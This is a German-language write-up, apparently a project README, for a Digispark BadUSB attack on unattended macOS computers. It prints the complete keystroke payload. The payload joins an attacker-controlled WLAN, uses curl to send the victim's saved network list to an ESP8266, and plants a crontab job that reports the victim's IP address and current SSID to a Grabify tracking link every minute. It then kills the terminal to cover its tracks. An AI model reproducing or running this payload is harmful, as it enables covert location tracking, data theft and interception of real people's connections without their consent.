DigiTrack

In 30 Sekunden kann dieser Angriff herausfinden, mit welchen Netzwerken ein MacOS-Computer zuvor verbunden war, und ein Skript einpflanzen, das alle 60 Sekunden die aktuelle IP-Adresse und das WLAN-Netzwerk verfolgt.

Jetzt enthalten: Hardtracker – Digispark-VPN-Knacker, der alle 60 Sekunden die IP-Adresse und BSSID/SSID nahegelegener WLAN-Netzwerke auf einem MacOS-Computer an einen Grabify-Tracker sendet.

Dies ist ein Angriff für 5 Dollar, der mehrere Dinge tut:

1. Installiert eine WLAN-Hintertür auf dem Opfercomputer, sodass Sie die Datenverbindung des Opfers jederzeit abfangen können, wenn Sie sich in WLAN-Reichweite befinden.
2. Stiehlt eine Liste aller Netzwerke, mit denen das Opfer jemals verbunden war (zum Verfolgen, Klassifizieren und Übernehmen der Datenverbindung).
3. Installiert einen Tracking-Job, der alle 60 Sekunden die IP-Adresse und das aktuell verbundene Netzwerk an einen Grabify-Link sendet.

Ablauf des Angriffs: Ein Opfer lässt einen MacOS-Computer für 30 Sekunden unbeaufsichtigt. Der Angreifer steckt ein DigiSpark-Board mit einem Angriffs-Payload ein. Der Payload sieht so aus (Verzögerungen und einzelne Tastendrücke wurden entfernt):

DigiKeyboard.print("networksetup -setairportnetwork en0 'sneakernet' 00000000");

• Wir fügen das Netzwerk „Sneakernet“ zu unserer vertrauenswürdigen Netzwerkliste hinzu und verbinden uns damit.

DigiKeyboard.print("curl -m 10 --silent --output /dev/null -X POST -H "Content-Type: text/plain" --data "$(networksetup -listpreferredwirelessnetworks en0)" 192.168.4.1 &");

• Nach dem Verbinden senden wir eine CURL-Anfrage, die jedes einzelne Netzwerk auflistet, mit dem der MacOS-Computer jemals verbunden war, an den ESP8266, der das „Sneakernet“-Netzwerk erstellt. Das & setzt den Prozess im Hintergrund, falls es zu lange dauert, und -m setzt einen Timer von 10 Sekunden, um eine zu lange Dauer zu verhindern. Jetzt kennen wir alle WLAN-Netzwerke, mit denen das Opfer verbunden war, sowie die Netzwerke, die den Computer zwingen, sich ohne Nachfrage zu verbinden.

DigiKeyboard.print("export VISUAL=nano; crontab -e");

• Wir erstellen einen Job, der alle 60 Sekunden ausgeführt wird.

DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer "$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | awk '/ SSID/ {print substr($0, index($0, $2))}')" https://grabi/YOURLINK");

• Wir unterdrücken die Ausgabe von CURL und holen den Netzwerknamen des aktuell verbundenen WLANs. Wir senden diesen zusammen mit einer CURL-Anfrage an eine Tracking-URL und liefern so alle 60 Sekunden die IP-Adresse des Ziels und das aktuell verbundene WLAN.

DigiKeyboard.print("wait && kill -9 $(ps -p $PPID -o ppid=)");

• Schließlich warten wir, bis alle Hintergrundprozesse beendet sind, und killen das Terminal-Fenster rigoros, um die Spuren zu verwischen.

Die Gesamtlaufzeit beträgt etwa 30 Sekunden, ohne die wenigen Sekunden, die der Digispark auf das Hochladen eines Sketches wartet.

Hinweise: Grabify wechselt möglicherweise in den Modus „I'm under attack“ und erlaubt kein Check-in. Achte auf diese Zeile: div class="cf-browser-verification cf-im-under-attack"

Wenn du sie siehst, wird die IP-Adresse von Cloudflare blockiert.